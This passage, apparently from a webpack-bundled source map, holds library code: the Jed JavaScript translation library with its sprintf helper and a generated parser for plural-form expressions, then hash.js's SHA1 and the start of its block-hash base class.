to\n      // english style singular/plural with the keys passed in.\n      if ( ! val_list || val_idx >= val_list.length ) {\n        if (this.options.missing_key_callback) {\n          this.options.missing_key_callback(key, domain);\n        }\n        res = [ null, singular_key, plural_key ];\n\n        // collect untranslated strings\n        if (this.options.debug===true) {\n          console.log(res[ getPluralFormFunc(pluralForms)( val ) + 1 ]);\n        }\n        return res[ getPluralFormFunc()( val ) + 1 ];\n      }\n\n      res = val_list[ val_idx ];\n\n      // This includes empty strings on purpose\n      if ( ! res  ) {\n        res = [ null, singular_key, plural_key ];\n        return res[ getPluralFormFunc()( val ) + 1 ];\n      }\n      return res;\n    }\n  });\n\n\n  // We add in sprintf capabilities for post translation value interolation\n  // This is not internally used, so you can remove it if you have this\n  // available somewhere else, or want to use a different system.\n\n  // We _slightly_ modify the normal sprintf behavior to more gracefully handle\n  // undefined values.\n\n  /**\n   sprintf() for JavaScript 0.7-beta1\n   http://www.diveintojavascript.com/projects/javascript-sprintf\n\n   Copyright (c) Alexandru Marasteanu <alexaholic [at) gmail (dot] com>\n   All rights reserved.\n\n   Redistribution and use in source and binary forms, with or without\n   modification, are permitted provided that the following conditions are met:\n       * Redistributions of source code must retain the above copyright\n         notice, this list of conditions and the following disclaimer.\n       * Redistributions in binary form must reproduce the above copyright\n         notice, this list of conditions and the following disclaimer in the\n         documentation and/or other materials provided with the distribution.\n       * Neither the name of sprintf() for JavaScript nor the\n         names of its contributors may be used to endorse or promote products\n         derived from this software without specific prior written permission.\n\n   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n   ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n   DISCLAIMED. IN NO EVENT SHALL Alexandru Marasteanu BE LIABLE FOR ANY\n   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n   LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n   ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n  */\n  var sprintf = (function() {\n    function get_type(variable) {\n      return Object.prototype.toString.call(variable).slice(8, -1).toLowerCase();\n    }\n    function str_repeat(input, multiplier) {\n      for (var output = []; multiplier > 0; output[--multiplier] = input) {/* do nothing */}\n      return output.join('');\n    }\n\n    var str_format = function() {\n      if (!str_format.cache.hasOwnProperty(arguments[0])) {\n        str_format.cache[arguments[0]] = str_format.parse(arguments[0]);\n      }\n      return str_format.format.call(null, str_format.cache[arguments[0]], arguments);\n    };\n\n    str_format.format = function(parse_tree, argv) {\n      var cursor = 1, tree_length = parse_tree.length, node_type = '', arg, output = [], i, k, match, pad, pad_character, pad_length;\n      for (i = 0; i < tree_length; i++) {\n        node_type = get_type(parse_tree[i]);\n        if (node_type === 'string') {\n          output.push(parse_tree[i]);\n        }\n        else if (node_type === 'array') {\n          match = parse_tree[i]; // convenience purposes only\n          if (match[2]) { // keyword argument\n            arg = argv[cursor];\n            for (k = 0; k < match[2].length; k++) {\n              if (!arg.hasOwnProperty(match[2][k])) {\n                throw(sprintf('[sprintf] property \"%s\" does not exist', match[2][k]));\n              }\n              arg = arg[match[2][k]];\n            }\n          }\n          else if (match[1]) { // positional argument (explicit)\n            arg = argv[match[1]];\n          }\n          else { // positional argument (implicit)\n            arg = argv[cursor++];\n          }\n\n          if (/[^s]/.test(match[8]) && (get_type(arg) != 'number')) {\n            throw(sprintf('[sprintf] expecting number but found %s', get_type(arg)));\n          }\n\n          // Jed EDIT\n          if ( typeof arg == 'undefined' || arg === null ) {\n            arg = '';\n          }\n          // Jed EDIT\n\n          switch (match[8]) {\n            case 'b': arg = arg.toString(2); break;\n            case 'c': arg = String.fromCharCode(arg); break;\n            case 'd': arg = parseInt(arg, 10); break;\n            case 'e': arg = match[7] ? arg.toExponential(match[7]) : arg.toExponential(); break;\n            case 'f': arg = match[7] ? parseFloat(arg).toFixed(match[7]) : parseFloat(arg); break;\n            case 'o': arg = arg.toString(8); break;\n            case 's': arg = ((arg = String(arg)) && match[7] ? arg.substring(0, match[7]) : arg); break;\n            case 'u': arg = Math.abs(arg); break;\n            case 'x': arg = arg.toString(16); break;\n            case 'X': arg = arg.toString(16).toUpperCase(); break;\n          }\n          arg = (/[def]/.test(match[8]) && match[3] && arg >= 0 ? '+'+ arg : arg);\n          pad_character = match[4] ? match[4] == '0' ? '0' : match[4].charAt(1) : ' ';\n          pad_length = match[6] - String(arg).length;\n          pad = match[6] ? str_repeat(pad_character, pad_length) : '';\n          output.push(match[5] ? arg + pad : pad + arg);\n        }\n      }\n      return output.join('');\n    };\n\n    str_format.cache = {};\n\n    str_format.parse = function(fmt) {\n      var _fmt = fmt, match = [], parse_tree = [], arg_names = 0;\n      while (_fmt) {\n        if ((match = /^[^\\x25]+/.exec(_fmt)) !== null) {\n          parse_tree.push(match[0]);\n        }\n        else if ((match = /^\\x25{2}/.exec(_fmt)) !== null) {\n          parse_tree.push('%');\n        }\n        else if ((match = /^\\x25(?:([1-9]\\d*)\\$|\\(([^\\)]+)\\))?(\\+)?(0|'[^$])?(-)?(\\d+)?(?:\\.(\\d+))?([b-fosuxX])/.exec(_fmt)) !== null) {\n          if (match[2]) {\n            arg_names |= 1;\n            var field_list = [], replacement_field = match[2], field_match = [];\n            if ((field_match = /^([a-z_][a-z_\\d]*)/i.exec(replacement_field)) !== null) {\n              field_list.push(field_match[1]);\n              while ((replacement_field = replacement_field.substring(field_match[0].length)) !== '') {\n                if ((field_match = /^\\.([a-z_][a-z_\\d]*)/i.exec(replacement_field)) !== null) {\n                  field_list.push(field_match[1]);\n                }\n                else if ((field_match = /^\\[(\\d+)\\]/.exec(replacement_field)) !== null) {\n                  field_list.push(field_match[1]);\n                }\n                else {\n                  throw('[sprintf] huh?');\n                }\n              }\n            }\n            else {\n              throw('[sprintf] huh?');\n            }\n            match[2] = field_list;\n          }\n          else {\n            arg_names |= 2;\n          }\n          if (arg_names === 3) {\n            throw('[sprintf] mixing positional and named placeholders is not (yet) supported');\n          }\n          parse_tree.push(match);\n        }\n        else {\n          throw('[sprintf] huh?');\n        }\n        _fmt = _fmt.substring(match[0].length);\n      }\n      return parse_tree;\n    };\n\n    return str_format;\n  })();\n\n  var vsprintf = function(fmt, argv) {\n    argv.unshift(fmt);\n    return sprintf.apply(null, argv);\n  };\n\n  Jed.parse_plural = function ( plural_forms, n ) {\n    plural_forms = plural_forms.replace(/n/g, n);\n    return Jed.parse_expression(plural_forms);\n  };\n\n  Jed.sprintf = function ( fmt, args ) {\n    if ( {}.toString.call( args ) == '[object Array]' ) {\n      return vsprintf( fmt, [].slice.call(args) );\n    }\n    return sprintf.apply(this, [].slice.call(arguments) );\n  };\n\n  Jed.prototype.sprintf = function () {\n    return Jed.sprintf.apply(this, arguments);\n  };\n  // END sprintf Implementation\n\n  // Start the Plural forms section\n  // This is a full plural form expression parser. It is used to avoid\n  // running 'eval' or 'new Function' directly against the plural\n  // forms.\n  //\n  // This can be important if you get translations done through a 3rd\n  // party vendor. I encourage you to use this instead, however, I\n  // also will provide a 'precompiler' that you can use at build time\n  // to output valid/safe function representations of the plural form\n  // expressions. This means you can build this code out for the most\n  // part.\n  Jed.PF = {};\n\n  Jed.PF.parse = function ( p ) {\n    var plural_str = Jed.PF.extractPluralExpr( p );\n    return Jed.PF.parser.parse.call(Jed.PF.parser, plural_str);\n  };\n\n  Jed.PF.compile = function ( p ) {\n    // Handle trues and falses as 0 and 1\n    function imply( val ) {\n      return (val === true ? 1 : val ? val : 0);\n    }\n\n    var ast = Jed.PF.parse( p );\n    return function ( n ) {\n      return imply( Jed.PF.interpreter( ast )( n ) );\n    };\n  };\n\n  Jed.PF.interpreter = function ( ast ) {\n    return function ( n ) {\n      var res;\n      switch ( ast.type ) {\n        case 'GROUP':\n          return Jed.PF.interpreter( ast.expr )( n );\n        case 'TERNARY':\n          if ( Jed.PF.interpreter( ast.expr )( n ) ) {\n            return Jed.PF.interpreter( ast.truthy )( n );\n          }\n          return Jed.PF.interpreter( ast.falsey )( n );\n        case 'OR':\n          return Jed.PF.interpreter( ast.left )( n ) || Jed.PF.interpreter( ast.right )( n );\n        case 'AND':\n          return Jed.PF.interpreter( ast.left )( n ) && Jed.PF.interpreter( ast.right )( n );\n        case 'LT':\n          return Jed.PF.interpreter( ast.left )( n ) < Jed.PF.interpreter( ast.right )( n );\n        case 'GT':\n          return Jed.PF.interpreter( ast.left )( n ) > Jed.PF.interpreter( ast.right )( n );\n        case 'LTE':\n          return Jed.PF.interpreter( ast.left )( n ) <= Jed.PF.interpreter( ast.right )( n );\n        case 'GTE':\n          return Jed.PF.interpreter( ast.left )( n ) >= Jed.PF.interpreter( ast.right )( n );\n        case 'EQ':\n          return Jed.PF.interpreter( ast.left )( n ) == Jed.PF.interpreter( ast.right )( n );\n        case 'NEQ':\n          return Jed.PF.interpreter( ast.left )( n ) != Jed.PF.interpreter( ast.right )( n );\n        case 'MOD':\n          return Jed.PF.interpreter( ast.left )( n ) % Jed.PF.interpreter( ast.right )( n );\n        case 'VAR':\n          return n;\n        case 'NUM':\n          return ast.val;\n        default:\n          throw new Error(\"Invalid Token found.\");\n      }\n    };\n  };\n\n  Jed.PF.extractPluralExpr = function ( p ) {\n    // trim first\n    p = p.replace(/^\\s\\s*/, '').replace(/\\s\\s*$/, '');\n\n    if (! /;\\s*$/.test(p)) {\n      p = p.concat(';');\n    }\n\n    var nplurals_re = /nplurals\\=(\\d+);/,\n        plural_re = /plural\\=(.*);/,\n        nplurals_matches = p.match( nplurals_re ),\n        res = {},\n        plural_matches;\n\n    // Find the nplurals number\n    if ( nplurals_matches.length > 1 ) {\n      res.nplurals = nplurals_matches[1];\n    }\n    else {\n      throw new Error('nplurals not found in plural_forms string: ' + p );\n    }\n\n    // remove that data to get to the formula\n    p = p.replace( nplurals_re, \"\" );\n    plural_matches = p.match( plural_re );\n\n    if (!( plural_matches && plural_matches.length > 1 ) ) {\n      throw new Error('`plural` expression not found: ' + p);\n    }\n    return plural_matches[ 1 ];\n  };\n\n  /* Jison generated parser */\n  Jed.PF.parser = (function(){\n\nvar parser = {trace: function trace() { },\nyy: {},\nsymbols_: {\"error\":2,\"expressions\":3,\"e\":4,\"EOF\":5,\"?\":6,\":\":7,\"||\":8,\"&&\":9,\"<\":10,\"<=\":11,\">\":12,\">=\":13,\"!=\":14,\"==\":15,\"%\":16,\"(\":17,\")\":18,\"n\":19,\"NUMBER\":20,\"$accept\":0,\"$end\":1},\nterminals_: {2:\"error\",5:\"EOF\",6:\"?\",7:\":\",8:\"||\",9:\"&&\",10:\"<\",11:\"<=\",12:\">\",13:\">=\",14:\"!=\",15:\"==\",16:\"%\",17:\"(\",18:\")\",19:\"n\",20:\"NUMBER\"},\nproductions_: [0,[3,2],[4,5],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,3],[4,1],[4,1]],\nperformAction: function anonymous(yytext,yyleng,yylineno,yy,yystate,$$,_$) {\n\nvar $0 = $$.length - 1;\nswitch (yystate) {\ncase 1: return { type : 'GROUP', expr: $$[$0-1] };\nbreak;\ncase 2:this.$ = { type: 'TERNARY', expr: $$[$0-4], truthy : $$[$0-2], falsey: $$[$0] };\nbreak;\ncase 3:this.$ = { type: \"OR\", left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 4:this.$ = { type: \"AND\", left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 5:this.$ = { type: 'LT', left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 6:this.$ = { type: 'LTE', left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 7:this.$ = { type: 'GT', left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 8:this.$ = { type: 'GTE', left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 9:this.$ = { type: 'NEQ', left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 10:this.$ = { type: 'EQ', left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 11:this.$ = { type: 'MOD', left: $$[$0-2], right: $$[$0] };\nbreak;\ncase 12:this.$ = { type: 'GROUP', expr: $$[$0-1] };\nbreak;\ncase 13:this.$ = { type: 'VAR' };\nbreak;\ncase 14:this.$ = { type: 'NUM', val: Number(yytext) };\nbreak;\n}\n},\ntable: [{3:1,4:2,17:[1,3],19:[1,4],20:[1,5]},{1:[3]},{5:[1,6],6:[1,7],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16]},{4:17,17:[1,3],19:[1,4],20:[1,5]},{5:[2,13],6:[2,13],7:[2,13],8:[2,13],9:[2,13],10:[2,13],11:[2,13],12:[2,13],13:[2,13],14:[2,13],15:[2,13],16:[2,13],18:[2,13]},{5:[2,14],6:[2,14],7:[2,14],8:[2,14],9:[2,14],10:[2,14],11:[2,14],12:[2,14],13:[2,14],14:[2,14],15:[2,14],16:[2,14],18:[2,14]},{1:[2,1]},{4:18,17:[1,3],19:[1,4],20:[1,5]},{4:19,17:[1,3],19:[1,4],20:[1,5]},{4:20,17:[1,3],19:[1,4],20:[1,5]},{4:21,17:[1,3],19:[1,4],20:[1,5]},{4:22,17:[1,3],19:[1,4],20:[1,5]},{4:23,17:[1,3],19:[1,4],20:[1,5]},{4:24,17:[1,3],19:[1,4],20:[1,5]},{4:25,17:[1,3],19:[1,4],20:[1,5]},{4:26,17:[1,3],19:[1,4],20:[1,5]},{4:27,17:[1,3],19:[1,4],20:[1,5]},{6:[1,7],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[1,28]},{6:[1,7],7:[1,29],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16]},{5:[2,3],6:[2,3],7:[2,3],8:[2,3],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,3]},{5:[2,4],6:[2,4],7:[2,4],8:[2,4],9:[2,4],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,4]},{5:[2,5],6:[2,5],7:[2,5],8:[2,5],9:[2,5],10:[2,5],11:[2,5],12:[2,5],13:[2,5],14:[2,5],15:[2,5],16:[1,16],18:[2,5]},{5:[2,6],6:[2,6],7:[2,6],8:[2,6],9:[2,6],10:[2,6],11:[2,6],12:[2,6],13:[2,6],14:[2,6],15:[2,6],16:[1,16],18:[2,6]},{5:[2,7],6:[2,7],7:[2,7],8:[2,7],9:[2,7],10:[2,7],11:[2,7],12:[2,7],13:[2,7],14:[2,7],15:[2,7],16:[1,16],18:[2,7]},{5:[2,8],6:[2,8],7:[2,8],8:[2,8],9:[2,8],10:[2,8],11:[2,8],12:[2,8],13:[2,8],14:[2,8],15:[2,8],16:[1,16],18:[2,8]},{5:[2,9],6:[2,9],7:[2,9],8:[2,9],9:[2,9],10:[2,9],11:[2,9],12:[2,9],13:[2,9],14:[2,9],15:[2,9],16:[1,16],18:[2,9]},{5:[2,10],6:[2,10],7:[2,10],8:[2,10],9:[2,10],10:[2,10],11:[2,10],12:[2,10],13:[2,10],14:[2,10],15:[2,10],16:[1,16],18:[2,10]},{5:[2,11],6:[2,11],7:[2,11],8:[2,11],9:[2,11],10:[2,11],11:[2,11],12:[2,11],13:[2,11],14:[2,11],15:[2,11],16:[2,11],18:[2,11]},{5:[2,12],6:[2,12],7:[2,12],8:[2,12],9:[2,12],10:[2,12],11:[2,12],12:[2,12],13:[2,12],14:[2,12],15:[2,12],16:[2,12],18:[2,12]},{4:30,17:[1,3],19:[1,4],20:[1,5]},{5:[2,2],6:[1,7],7:[2,2],8:[1,8],9:[1,9],10:[1,10],11:[1,11],12:[1,12],13:[1,13],14:[1,14],15:[1,15],16:[1,16],18:[2,2]}],\ndefaultActions: {6:[2,1]},\nparseError: function parseError(str, hash) {\n    throw new Error(str);\n},\nparse: function parse(input) {\n    var self = this,\n        stack = [0],\n        vstack = [null], // semantic value stack\n        lstack = [], // location stack\n        table = this.table,\n        yytext = '',\n        yylineno = 0,\n        yyleng = 0,\n        recovering = 0,\n        TERROR = 2,\n        EOF = 1;\n\n    //this.reductionCount = this.shiftCount = 0;\n\n    this.lexer.setInput(input);\n    this.lexer.yy = this.yy;\n    this.yy.lexer = this.lexer;\n    if (typeof this.lexer.yylloc == 'undefined')\n        this.lexer.yylloc = {};\n    var yyloc = this.lexer.yylloc;\n    lstack.push(yyloc);\n\n    if (typeof this.yy.parseError === 'function')\n        this.parseError = this.yy.parseError;\n\n    function popStack (n) {\n        stack.length = stack.length - 2*n;\n        vstack.length = vstack.length - n;\n        lstack.length = lstack.length - n;\n    }\n\n    function lex() {\n        var token;\n        token = self.lexer.lex() || 1; // $end = 1\n        // if token isn't its numeric value, convert\n        if (typeof token !== 'number') {\n            token = self.symbols_[token] || token;\n        }\n        return token;\n    }\n\n    var symbol, preErrorSymbol, state, action, a, r, yyval={},p,len,newState, expected;\n    while (true) {\n        // retreive state number from top of stack\n        state = stack[stack.length-1];\n\n        // use default actions if available\n        if (this.defaultActions[state]) {\n            action = this.defaultActions[state];\n        } else {\n            if (symbol == null)\n                symbol = lex();\n            // read action for current state and first input\n            action = table[state] && table[state][symbol];\n        }\n\n        // handle parse error\n        _handle_error:\n        if (typeof action === 'undefined' || !action.length || !action[0]) {\n\n            if (!recovering) {\n                // Report error\n                expected = [];\n                for (p in table[state]) if (this.terminals_[p] && p > 2) {\n                    expected.push(\"'\"+this.terminals_[p]+\"'\");\n                }\n                var errStr = '';\n                if (this.lexer.showPosition) {\n                    errStr = 'Parse error on line '+(yylineno+1)+\":\\n\"+this.lexer.showPosition()+\"\\nExpecting \"+expected.join(', ') + \", got '\" + this.terminals_[symbol]+ \"'\";\n                } else {\n                    errStr = 'Parse error on line '+(yylineno+1)+\": Unexpected \" +\n                                  (symbol == 1 /*EOF*/ ? \"end of input\" :\n                                              (\"'\"+(this.terminals_[symbol] || symbol)+\"'\"));\n                }\n                this.parseError(errStr,\n                    {text: this.lexer.match, token: this.terminals_[symbol] || symbol, line: this.lexer.yylineno, loc: yyloc, expected: expected});\n            }\n\n            // just recovered from another error\n            if (recovering == 3) {\n                if (symbol == EOF) {\n                    throw new Error(errStr || 'Parsing halted.');\n                }\n\n                // discard current lookahead and grab another\n                yyleng = this.lexer.yyleng;\n                yytext = this.lexer.yytext;\n                yylineno = this.lexer.yylineno;\n                yyloc = this.lexer.yylloc;\n                symbol = lex();\n            }\n\n            // try to recover from error\n            while (1) {\n                // check for error recovery rule in this state\n                if ((TERROR.toString()) in table[state]) {\n                    break;\n                }\n                if (state == 0) {\n                    throw new Error(errStr || 'Parsing halted.');\n                }\n                popStack(1);\n                state = stack[stack.length-1];\n            }\n\n            preErrorSymbol = symbol; // save the lookahead token\n            symbol = TERROR;         // insert generic error symbol as new lookahead\n            state = stack[stack.length-1];\n            action = table[state] && table[state][TERROR];\n            recovering = 3; // allow 3 real symbols to be shifted before reporting a new error\n        }\n\n        // this shouldn't happen, unless resolve defaults are off\n        if (action[0] instanceof Array && action.length > 1) {\n            throw new Error('Parse Error: multiple actions possible at state: '+state+', token: '+symbol);\n        }\n\n        switch (action[0]) {\n\n            case 1: // shift\n                //this.shiftCount++;\n\n                stack.push(symbol);\n                vstack.push(this.lexer.yytext);\n                lstack.push(this.lexer.yylloc);\n                stack.push(action[1]); // push state\n                symbol = null;\n                if (!preErrorSymbol) { // normal execution/no error\n                    yyleng = this.lexer.yyleng;\n                    yytext = this.lexer.yytext;\n                    yylineno = this.lexer.yylineno;\n                    yyloc = this.lexer.yylloc;\n                    if (recovering > 0)\n                        recovering--;\n                } else { // error just occurred, resume old lookahead f/ before error\n                    symbol = preErrorSymbol;\n                    preErrorSymbol = null;\n                }\n                break;\n\n            case 2: // reduce\n                //this.reductionCount++;\n\n                len = this.productions_[action[1]][1];\n\n                // perform semantic action\n                yyval.$ = vstack[vstack.length-len]; // default to $$ = $1\n                // default location, uses first token for firsts, last for lasts\n                yyval._$ = {\n                    first_line: lstack[lstack.length-(len||1)].first_line,\n                    last_line: lstack[lstack.length-1].last_line,\n                    first_column: lstack[lstack.length-(len||1)].first_column,\n                    last_column: lstack[lstack.length-1].last_column\n                };\n                r = this.performAction.call(yyval, yytext, yyleng, yylineno, this.yy, action[1], vstack, lstack);\n\n                if (typeof r !== 'undefined') {\n                    return r;\n                }\n\n                // pop off stack\n                if (len) {\n                    stack = stack.slice(0,-1*len*2);\n                    vstack = vstack.slice(0, -1*len);\n                    lstack = lstack.slice(0, -1*len);\n                }\n\n                stack.push(this.productions_[action[1]][0]);    // push nonterminal (reduce)\n                vstack.push(yyval.$);\n                lstack.push(yyval._$);\n                // goto new state = table[STATE][NONTERMINAL]\n                newState = table[stack[stack.length-2]][stack[stack.length-1]];\n                stack.push(newState);\n                break;\n\n            case 3: // accept\n                return true;\n        }\n\n    }\n\n    return true;\n}};/* Jison generated lexer */\nvar lexer = (function(){\n\nvar lexer = ({EOF:1,\nparseError:function parseError(str, hash) {\n        if (this.yy.parseError) {\n            this.yy.parseError(str, hash);\n        } else {\n            throw new Error(str);\n        }\n    },\nsetInput:function (input) {\n        this._input = input;\n        this._more = this._less = this.done = false;\n        this.yylineno = this.yyleng = 0;\n        this.yytext = this.matched = this.match = '';\n        this.conditionStack = ['INITIAL'];\n        this.yylloc = {first_line:1,first_column:0,last_line:1,last_column:0};\n        return this;\n    },\ninput:function () {\n        var ch = this._input[0];\n        this.yytext+=ch;\n        this.yyleng++;\n        this.match+=ch;\n        this.matched+=ch;\n        var lines = ch.match(/\\n/);\n        if (lines) this.yylineno++;\n        this._input = this._input.slice(1);\n        return ch;\n    },\nunput:function (ch) {\n        this._input = ch + this._input;\n        return this;\n    },\nmore:function () {\n        this._more = true;\n        return this;\n    },\npastInput:function () {\n        var past = this.matched.substr(0, this.matched.length - this.match.length);\n        return (past.length > 20 ? '...':'') + past.substr(-20).replace(/\\n/g, \"\");\n    },\nupcomingInput:function () {\n        var next = this.match;\n        if (next.length < 20) {\n            next += this._input.substr(0, 20-next.length);\n        }\n        return (next.substr(0,20)+(next.length > 20 ? '...':'')).replace(/\\n/g, \"\");\n    },\nshowPosition:function () {\n        var pre = this.pastInput();\n        var c = new Array(pre.length + 1).join(\"-\");\n        return pre + this.upcomingInput() + \"\\n\" + c+\"^\";\n    },\nnext:function () {\n        if (this.done) {\n            return this.EOF;\n        }\n        if (!this._input) this.done = true;\n\n        var token,\n            match,\n            col,\n            lines;\n        if (!this._more) {\n            this.yytext = '';\n            this.match = '';\n        }\n        var rules = this._currentRules();\n        for (var i=0;i < rules.length; i++) {\n            match = this._input.match(this.rules[rules[i]]);\n            if (match) {\n                lines = match[0].match(/\\n.*/g);\n                if (lines) this.yylineno += lines.length;\n                this.yylloc = {first_line: this.yylloc.last_line,\n                               last_line: this.yylineno+1,\n                               first_column: this.yylloc.last_column,\n                               last_column: lines ? lines[lines.length-1].length-1 : this.yylloc.last_column + match[0].length}\n                this.yytext += match[0];\n                this.match += match[0];\n                this.matches = match;\n                this.yyleng = this.yytext.length;\n                this._more = false;\n                this._input = this._input.slice(match[0].length);\n                this.matched += match[0];\n                token = this.performAction.call(this, this.yy, this, rules[i],this.conditionStack[this.conditionStack.length-1]);\n                if (token) return token;\n                else return;\n            }\n        }\n        if (this._input === \"\") {\n            return this.EOF;\n        } else {\n            this.parseError('Lexical error on line '+(this.yylineno+1)+'. Unrecognized text.\\n'+this.showPosition(),\n                    {text: \"\", token: null, line: this.yylineno});\n        }\n    },\nlex:function lex() {\n        var r = this.next();\n        if (typeof r !== 'undefined') {\n            return r;\n        } else {\n            return this.lex();\n        }\n    },\nbegin:function begin(condition) {\n        this.conditionStack.push(condition);\n    },\npopState:function popState() {\n        return this.conditionStack.pop();\n    },\n_currentRules:function _currentRules() {\n        return this.conditions[this.conditionStack[this.conditionStack.length-1]].rules;\n    },\ntopState:function () {\n        return this.conditionStack[this.conditionStack.length-2];\n    },\npushState:function begin(condition) {\n        this.begin(condition);\n    }});\nlexer.performAction = function anonymous(yy,yy_,$avoiding_name_collisions,YY_START) {\n\nvar YYSTATE=YY_START;\nswitch($avoiding_name_collisions) {\ncase 0:/* skip whitespace */\nbreak;\ncase 1:return 20\nbreak;\ncase 2:return 19\nbreak;\ncase 3:return 8\nbreak;\ncase 4:return 9\nbreak;\ncase 5:return 6\nbreak;\ncase 6:return 7\nbreak;\ncase 7:return 11\nbreak;\ncase 8:return 13\nbreak;\ncase 9:return 10\nbreak;\ncase 10:return 12\nbreak;\ncase 11:return 14\nbreak;\ncase 12:return 15\nbreak;\ncase 13:return 16\nbreak;\ncase 14:return 17\nbreak;\ncase 15:return 18\nbreak;\ncase 16:return 5\nbreak;\ncase 17:return 'INVALID'\nbreak;\n}\n};\nlexer.rules = [/^\\s+/,/^[0-9]+(\\.[0-9]+)?\\b/,/^n\\b/,/^\\|\\|/,/^&&/,/^\\?/,/^:/,/^<=/,/^>=/,/^</,/^>/,/^!=/,/^==/,/^%/,/^\\(/,/^\\)/,/^$/,/^./];\nlexer.conditions = {\"INITIAL\":{\"rules\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17],\"inclusive\":true}};return lexer;})()\nparser.lexer = lexer;\nreturn parser;\n})();\n// End parser\n\n  // Handle node, amd, and global systems\n  if (typeof exports !== 'undefined') {\n    if (typeof module !== 'undefined' && module.exports) {\n      exports = module.exports = Jed;\n    }\n    exports.Jed = Jed;\n  }\n  else {\n    if (typeof define === 'function' && define.amd) {\n      define('jed', function() {\n        return Jed;\n      });\n    }\n    // Leak a global regardless of module system\n    root['Jed'] = Jed;\n  }\n\n})(this);\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/jed/jed.js\n// module id = 96\n// module chunks = 0 1 2 3 4 5","'use strict';\n\nvar utils = require('../utils');\nvar common = require('../common');\nvar shaCommon = require('./common');\n\nvar rotl32 = utils.rotl32;\nvar sum32 = utils.sum32;\nvar sum32_5 = utils.sum32_5;\nvar ft_1 = shaCommon.ft_1;\nvar BlockHash = common.BlockHash;\n\nvar sha1_K = [\n  0x5A827999, 0x6ED9EBA1,\n  0x8F1BBCDC, 0xCA62C1D6\n];\n\nfunction SHA1() {\n  if (!(this instanceof SHA1))\n    return new SHA1();\n\n  BlockHash.call(this);\n  this.h = [\n    0x67452301, 0xefcdab89, 0x98badcfe,\n    0x10325476, 0xc3d2e1f0 ];\n  this.W = new Array(80);\n}\n\nutils.inherits(SHA1, BlockHash);\nmodule.exports = SHA1;\n\nSHA1.blockSize = 512;\nSHA1.outSize = 160;\nSHA1.hmacStrength = 80;\nSHA1.padLength = 64;\n\nSHA1.prototype._update = function _update(msg, start) {\n  var W = this.W;\n\n  for (var i = 0; i < 16; i++)\n    W[i] = msg[start + i];\n\n  for(; i < W.length; i++)\n    W[i] = rotl32(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);\n\n  var a = this.h[0];\n  var b = this.h[1];\n  var c = this.h[2];\n  var d = this.h[3];\n  var e = this.h[4];\n\n  for (i = 0; i < W.length; i++) {\n    var s = ~~(i / 20);\n    var t = sum32_5(rotl32(a, 5), ft_1(s, b, c, d), e, W[i], sha1_K[s]);\n    e = d;\n    d = c;\n    c = rotl32(b, 30);\n    b = a;\n    a = t;\n  }\n\n  this.h[0] = sum32(this.h[0], a);\n  this.h[1] = sum32(this.h[1], b);\n  this.h[2] = sum32(this.h[2], c);\n  this.h[3] = sum32(this.h[3], d);\n  this.h[4] = sum32(this.h[4], e);\n};\n\nSHA1.prototype._digest = function digest(enc) {\n  if (enc === 'hex')\n    return utils.toHex32(this.h, 'big');\n  else\n    return utils.split32(this.h, 'big');\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/hash.js/lib/hash/sha/1.js\n// module id = 97\n// module chunks = 0 1 2 3 4 5","'use strict';\n\nvar utils = require('./utils');\nvar assert = require('minimalistic-assert');\n\nfunction BlockHash() {\n  this.pending = null;\n  this.pendingTotal = 0;\n  this.blockSize = this.constructor.blockSize;\n  this.outSize = this.constructor.outSize;\n  this.hmacStrength = this.constructor.hmacStrength;\n  this.padLength = this.constructor.padLength / 8;\n  this.endian = 'big';\n\n  this._delta8 = this.blockSize / 8;\n  this._delta32 = this.blockSize / 32;\n}\nexports.BlockHash = BlockHash;\n\nBlockHash.prototype.update = function update(msg, enc) {\n  // Convert message to array, pad it, and join into 32bit blocks\n  msg = utils.toArray(msg, enc);\n  if (!this.pending)\n    this.pending = msg;\n  else\n    this.pending = this.pending.concat(msg);\n  this.pendingTotal += msg.length;\n\n  // Enough data, try updating\n  if (this.pending.length >= this._delta8) {\n    msg = this.pending;\n\n    // Process pending data in blocks\n    var r = msg.length % this._delta8;\n    this.pending = msg.slice(msg.length - r, msg.length);\n    if (this.pending.length === 0)\n      this.pending = null;\n\n    msg = utils.join32(msg, 0, msg.length - r, this.endian);\n    for (var i = 0; i < msg.length; i += this._delta32)\n      this._update(msg, i, i + this._delta32);\n  }\n\n  return 